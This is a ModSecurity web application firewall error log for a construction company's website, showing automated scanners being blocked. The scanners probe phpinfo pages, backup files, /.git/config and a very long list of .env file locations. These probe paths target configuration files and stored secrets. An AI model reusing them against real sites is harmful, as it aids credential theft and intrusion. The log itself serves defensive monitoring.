[Sat May 09 01:08:22.010307 2026] [:error] [pid 61355:tid 61384] [client 52.212.42.253:51352] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server-status.php"] [unique_id "af4YhvkhJTi30CBXmMkbawAAAZc"]
[Sat May 09 01:08:23.068503 2026] [:error] [pid 61356:tid 61395] [client 52.212.42.253:42022] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_profiler/phpinfo"] [unique_id "af4Yh4x3vpB8oWhUq2MZ9AAAAcc"]
[Sat May 09 01:08:24.123400 2026] [:error] [pid 51113:tid 51132] [client 52.212.42.253:42034] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_environment"] [unique_id "af4YiEQfs7sWtqkpQIeXawAAANE"]
[Sat May 09 01:08:25.196371 2026] [:error] [pid 51009:tid 51081] [client 52.212.42.253:42054] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/webroot/index.php/_environment"] [unique_id "af4YieB0GbUWhxgzX9WFwgAAAIU"]
[Sat May 09 01:08:26.247470 2026] [:error] [pid 51008:tid 51049] [client 52.212.42.253:42070] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/mail/phpinfo.php"] [unique_id "af4YinB58C2Y1tgLtuLRxQAAAEA"]
[Sat May 09 01:08:27.297064 2026] [:error] [pid 61355:tid 61373] [client 52.212.42.253:42084] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/cpanel/phpinfo.php"] [unique_id "af4Yi_khJTi30CBXmMkbnQAAAYw"]
[Sat May 09 01:08:28.350671 2026] [:error] [pid 61356:tid 61401] [client 52.212.42.253:42106] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/hosting/phpinfo.php"] [unique_id "af4YjIx3vpB8oWhUq2MaAgAAAc0"]
[Sat May 09 01:08:29.405423 2026] [:error] [pid 51007:tid 51030] [client 52.212.42.253:42112] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/webmail/phpinfo.php"] [unique_id "af4YjVMagSGstWKyzzUU4AAAAAg"]
[Sat May 09 01:08:30.464506 2026] [:error] [pid 61355:tid 61378] [client 52.212.42.253:42126] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/smtp/phpinfo.php"] [unique_id "af4YjvkhJTi30CBXmMkbuQAAAZE"]
[Sat May 09 01:08:31.513770 2026] [:error] [pid 61317:tid 61320] [client 52.212.42.253:42152] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/phpinfo.php.bak"] [unique_id "af4Yj8-fFk_CedOCOYsCpgAAAUA"]
[Sat May 09 01:08:32.559280 2026] [:error] [pid 61317:tid 61321] [client 52.212.42.253:42164] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/phpinfo.php.old"] [unique_id "af4YkM-fFk_CedOCOYsCtAAAAUE"]
[Sat May 09 01:08:33.608806 2026] [:error] [pid 51009:tid 51089] [client 52.212.42.253:57070] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/phpinfo.php~"] [unique_id "af4YkeB0GbUWhxgzX9WGCAAAAI0"]
[Sat May 09 01:08:34.660561 2026] [:error] [pid 61356:tid 61389] [client 52.212.42.253:57098] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/info.php.bak"] [unique_id "af4Ykox3vpB8oWhUq2MaEgAAAcE"]
[Sat May 09 01:08:35.704056 2026] [:error] [pid 61355:tid 61367] [client 52.212.42.253:57116] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/phpinfo.php.save"] [unique_id "af4Yk_khJTi30CBXmMkbxwAAAYY"]
[Sat May 09 01:08:36.762586 2026] [:error] [pid 61356:tid 61391] [client 52.212.42.253:57126] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/staging/phpinfo.php"] [unique_id "af4YlIx3vpB8oWhUq2MaHAAAAcM"]
[Sat May 09 01:08:37.810502 2026] [:error] [pid 61317:tid 61323] [client 52.212.42.253:57144] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/beta/phpinfo.php"] [unique_id "af4Ylc-fFk_CedOCOYsC0wAAAUM"]
[Sat May 09 01:08:38.859140 2026] [:error] [pid 61356:tid 61389] [client 52.212.42.253:57170] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/uat/phpinfo.php"] [unique_id "af4Ylox3vpB8oWhUq2MaIQAAAcE"]
[Sat May 09 01:08:39.913933 2026] [:error] [pid 51008:tid 51054] [client 52.212.42.253:57190] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/qa/phpinfo.php"] [unique_id "af4Yl3B58C2Y1tgLtuLR3QAAAEU"]
[Sat May 09 01:08:40.960851 2026] [:error] [pid 61356:tid 61400] [client 52.212.42.253:57204] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/preview/phpinfo.php"] [unique_id "af4YmIx3vpB8oWhUq2MaMQAAAcw"]
[Sat May 09 01:08:42.011080 2026] [:error] [pid 61355:tid 61361] [client 52.212.42.253:57232] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/www/phpinfo.php"] [unique_id "af4YmvkhJTi30CBXmMkb6AAAAYA"]
[Sat May 09 01:08:43.063377 2026] [:error] [pid 51009:tid 51089] [client 52.212.42.253:45672] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/htdocs/phpinfo.php"] [unique_id "af4Ym-B0GbUWhxgzX9WGFwAAAI0"]
[Sat May 09 01:08:44.109907 2026] [:error] [pid 51007:tid 51042] [client 52.212.42.253:45692] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/public_html/phpinfo.php"] [unique_id "af4YnFMagSGstWKyzzUU8AAAABQ"]
[Sat May 09 01:08:45.166071 2026] [:error] [pid 51007:tid 51046] [client 52.212.42.253:45722] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/site/phpinfo.php"] [unique_id "af4YnVMagSGstWKyzzUU8gAAABg"]
[Sat May 09 01:08:46.239867 2026] [:error] [pid 61356:tid 61391] [client 52.212.42.253:45734] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/docs/phpinfo.php"] [unique_id "af4Ynox3vpB8oWhUq2MaRgAAAcM"]
[Sat May 09 01:08:47.357166 2026] [:error] [pid 51008:tid 51050] [client 52.212.42.253:45740] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4Yn3B58C2Y1tgLtuLR4gAAAEE"]
[Sat May 09 01:08:48.427577 2026] [:error] [pid 61355:tid 61363] [client 52.212.42.253:45758] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/administrator/phpinfo.php"] [unique_id "af4YoPkhJTi30CBXmMkcFwAAAYI"]
[Sat May 09 01:08:49.478120 2026] [:error] [pid 61355:tid 61379] [client 52.212.42.253:45788] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/core/phpinfo.php"] [unique_id "af4YofkhJTi30CBXmMkcHwAAAZI"]
[Sat May 09 01:08:50.530768 2026] [:error] [pid 61356:tid 61402] [client 52.212.42.253:45806] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/includes/phpinfo.php"] [unique_id "af4Yoox3vpB8oWhUq2MaTgAAAc4"]
[Sat May 09 01:14:27.375396 2026] [:error] [pid 61355:tid 61364] [client 13.212.112.147:59300] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "af4Z8_khJTi30CBXmMkgEgAAAYM"]
[Sat May 09 01:14:29.042063 2026] [:error] [pid 51009:tid 51082] [client 13.212.112.147:59356] [client 13.212.112.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4Z9eB0GbUWhxgzX9WIxAAAAIY"]
[Sat May 09 01:14:39.787640 2026] [:error] [pid 51008:tid 51071] [client 13.212.112.147:59386] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test/phpinfo.php"] [unique_id "af4Z_3B58C2Y1tgLtuLUEwAAAFY"]
[Sat May 09 01:14:40.218757 2026] [:error] [pid 51008:tid 51059] [client 13.212.112.147:38300] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev/phpinfo.php"] [unique_id "af4aAHB58C2Y1tgLtuLUFgAAAEo"]
[Sat May 09 01:14:40.648017 2026] [:error] [pid 61356:tid 61410] [client 13.212.112.147:38314] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old/phpinfo.php"] [unique_id "af4aAIx3vpB8oWhUq2McXAAAAdY"]
[Sat May 09 01:14:41.083149 2026] [:error] [pid 61355:tid 61372] [client 13.212.112.147:38330] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tmp/phpinfo.php"] [unique_id "af4aAfkhJTi30CBXmMkgOAAAAYs"]
[Sat May 09 01:14:41.519024 2026] [:error] [pid 61355:tid 61363] [client 13.212.112.147:57508] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/phpinfo.php"] [unique_id "af4aAfkhJTi30CBXmMkgOQAAAYI"]
[Sat May 09 01:14:41.952275 2026] [:error] [pid 51113:tid 51131] [client 13.212.112.147:57528] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info"] [unique_id "af4aAUQfs7sWtqkpQIeYSgAAANA"]
[Sat May 09 01:14:42.383556 2026] [:error] [pid 51007:tid 51046] [client 13.212.112.147:57534] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php-info.php"] [unique_id "af4aAlMagSGstWKyzzUV7QAAABg"]
[Sat May 09 01:14:42.815547 2026] [:error] [pid 34318:tid 34322] [client 13.212.112.147:57552] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpversion.php"] [unique_id "af4aAsr3guirgJiKhzAAAgAAAQI"]
[Sat May 09 01:14:43.246049 2026] [:error] [pid 51008:tid 51053] [client 13.212.112.147:57564] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/_phpinfo.php"] [unique_id "af4aA3B58C2Y1tgLtuLUHAAAAEQ"]
[Sat May 09 01:14:43.691057 2026] [:error] [pid 51007:tid 51022] [client 13.212.112.147:57586] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old_phpinfo.php"] [unique_id "af4aA1MagSGstWKyzzUV7wAAAAA"]
[Sat May 09 01:14:44.151405 2026] [:error] [pid 61356:tid 61402] [client 13.212.112.147:57606] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server-info.php"] [unique_id "af4aBIx3vpB8oWhUq2McYgAAAc4"]
[Sat May 09 01:14:44.586830 2026] [:error] [pid 61355:tid 61361] [client 13.212.112.147:57636] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server-status.php"] [unique_id "af4aBPkhJTi30CBXmMkgQQAAAYA"]
[Sat May 09 01:14:45.017108 2026] [:error] [pid 61355:tid 61376] [client 13.212.112.147:57652] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/_profiler/phpinfo"] [unique_id "af4aBfkhJTi30CBXmMkgQwAAAY8"]
[Sat May 09 01:14:45.448456 2026] [:error] [pid 51008:tid 51050] [client 13.212.112.147:57666] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/_environment"] [unique_id "af4aBXB58C2Y1tgLtuLUJQAAAEE"]
[Sat May 09 01:14:45.880995 2026] [:error] [pid 61356:tid 61408] [client 13.212.112.147:57678] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webroot/index.php/_environment"] [unique_id "af4aBYx3vpB8oWhUq2McawAAAdQ"]
[Sat May 09 01:14:46.312782 2026] [:error] [pid 61356:tid 61412] [client 13.212.112.147:57694] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail/phpinfo.php"] [unique_id "af4aBox3vpB8oWhUq2MccQAAAdg"]
[Sat May 09 01:14:46.745282 2026] [:error] [pid 61356:tid 61391] [client 13.212.112.147:57702] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cpanel/phpinfo.php"] [unique_id "af4aBox3vpB8oWhUq2McdAAAAcM"]
[Sat May 09 01:14:47.180143 2026] [:error] [pid 61317:tid 61336] [client 13.212.112.147:57730] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hosting/phpinfo.php"] [unique_id "af4aB8-fFk_CedOCOYsEfQAAAVA"]
[Sat May 09 01:14:47.613539 2026] [:error] [pid 51007:tid 51029] [client 13.212.112.147:57746] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webmail/phpinfo.php"] [unique_id "af4aB1MagSGstWKyzzUV8QAAAAc"]
[Sat May 09 01:14:48.044448 2026] [:error] [pid 61356:tid 61412] [client 13.212.112.147:57770] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/smtp/phpinfo.php"] [unique_id "af4aCIx3vpB8oWhUq2McggAAAdg"]
[Sat May 09 01:14:48.477309 2026] [:error] [pid 61356:tid 61391] [client 13.212.112.147:57796] [client 13.212.112.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo.php.bak"] [unique_id "af4aCIx3vpB8oWhUq2MciAAAAcM"]
